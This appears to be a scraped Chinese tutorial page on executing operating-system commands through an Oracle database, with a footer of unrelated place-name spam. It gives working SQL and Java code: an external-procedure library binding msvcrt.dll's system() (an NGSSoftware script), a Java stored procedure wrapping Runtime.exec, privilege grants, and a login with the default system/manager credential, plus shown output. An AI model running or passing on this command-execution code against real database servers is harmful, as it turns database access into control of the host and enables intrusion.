佳木斯湛栽影视文化发展公司

主頁 > 知識(shí)庫 > oracle執(zhí)行cmd的實(shí)現(xiàn)方法

oracle執(zhí)行cmd的實(shí)現(xiàn)方法

熱門標(biāo)簽:AI電銷 服務(wù)外包 網(wǎng)站排名優(yōu)化 呼叫中心市場(chǎng)需求 鐵路電話系統(tǒng) 百度競價(jià)排名 地方門戶網(wǎng)站 Linux服務(wù)器
不過有一個(gè)簡單的執(zhí)行cmd命令方法:
SQL> host net user
User accounts for \\PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================補(bǔ)充======================
網(wǎng)上的另兩種方法:
1是利用msvcrt.dll
寫一個(gè)c:\orac.sql
內(nèi)容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:\&;sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分別是用戶名密碼和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
結(jié)果在我本機(jī)出現(xiàn)
第 1 行出現(xiàn)錯(cuò)誤:
ORA-28595: Extproc 代理: DLL 路徑無效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
沒有成功。
第二種方法
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陸上去后依舊是依次執(zhí)行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(網(wǎng)上的方法沒有這一行,我無法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功運(yùn)行了命令
測(cè)試環(huán)境win2003+oracle11g
您可能感興趣的文章:
  • Oracle數(shù)據(jù)庫常用命令整理(實(shí)用方法)
  • Oracle利用errorstack追蹤tomcat報(bào)錯(cuò)ORA-00903 無效表名的問題
  • Oracle按身份證號(hào)得到省市、性別、年齡的示例代碼
  • Windows10安裝Oracle19c數(shù)據(jù)庫詳細(xì)記錄(圖文詳解)
  • Shell腳本連接oracle數(shù)據(jù)庫的實(shí)現(xiàn)代碼
  • Oracle數(shù)據(jù)庫服務(wù)器修改操作系統(tǒng)時(shí)間的注意事項(xiàng)詳解
  • Linux一鍵部署oracle安裝環(huán)境腳本(推薦)
  • CMD操作oracle數(shù)據(jù)導(dǎo)庫過程圖解

標(biāo)簽:湘潭 黃山 崇左 湖南 衡水 蘭州 仙桃 銅川

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《oracle執(zhí)行cmd的實(shí)現(xiàn)方法》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    鲁山县| 宜宾市| 航空| 潜山县| 曲沃县| 武山县| 项城市| 东乡| 玉溪市| 广州市| 石楼县| 贵州省| 东海县| 屯昌县| 博野县| 宁明县| 金阳县| 兰州市| 和政县| 军事| 鄯善县| 阿巴嘎旗| 鹿邑县| 柘城县| 镇赉县| 惠州市| 海阳市| 平阴县| 汝阳县| 衢州市| 扶风县| 新巴尔虎右旗| 曲阜市| 东丽区| 眉山市| 海伦市| 新龙县| 明星| 丰原市| 五台县| 呼伦贝尔市|